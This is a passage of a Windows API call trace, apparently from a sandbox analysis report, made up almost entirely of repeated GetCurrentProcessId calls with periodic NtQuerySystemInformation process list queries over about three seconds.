[0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.962] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.963] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0120.964] GetCurrentProcessId () returned 0x388 [0121.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cc38) returned 0x0 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.599] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.600] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.601] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.602] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0121.603] GetCurrentProcessId () returned 0x388 [0122.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cbe8) returned 0x0 [0122.352] GetCurrentProcessId () returned 0x388 [0122.352] GetCurrentProcessId () returned 0x388 [0122.352] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.353] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.354] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.355] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.356] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.357] GetCurrentProcessId () returned 0x388 [0122.358] GetCurrentProcessId () returned 0x388 [0122.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cb98) returned 0x0 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.909] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.910] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.911] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.912] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0122.913] GetCurrentProcessId () returned 0x388 [0123.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cb48) returned 0x0 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.600] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.601] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.603] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.604] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0123.605] GetCurrentProcessId () returned 0x388 [0124.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cb48) returned 0x0 [0124.166] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.167] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.168] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] 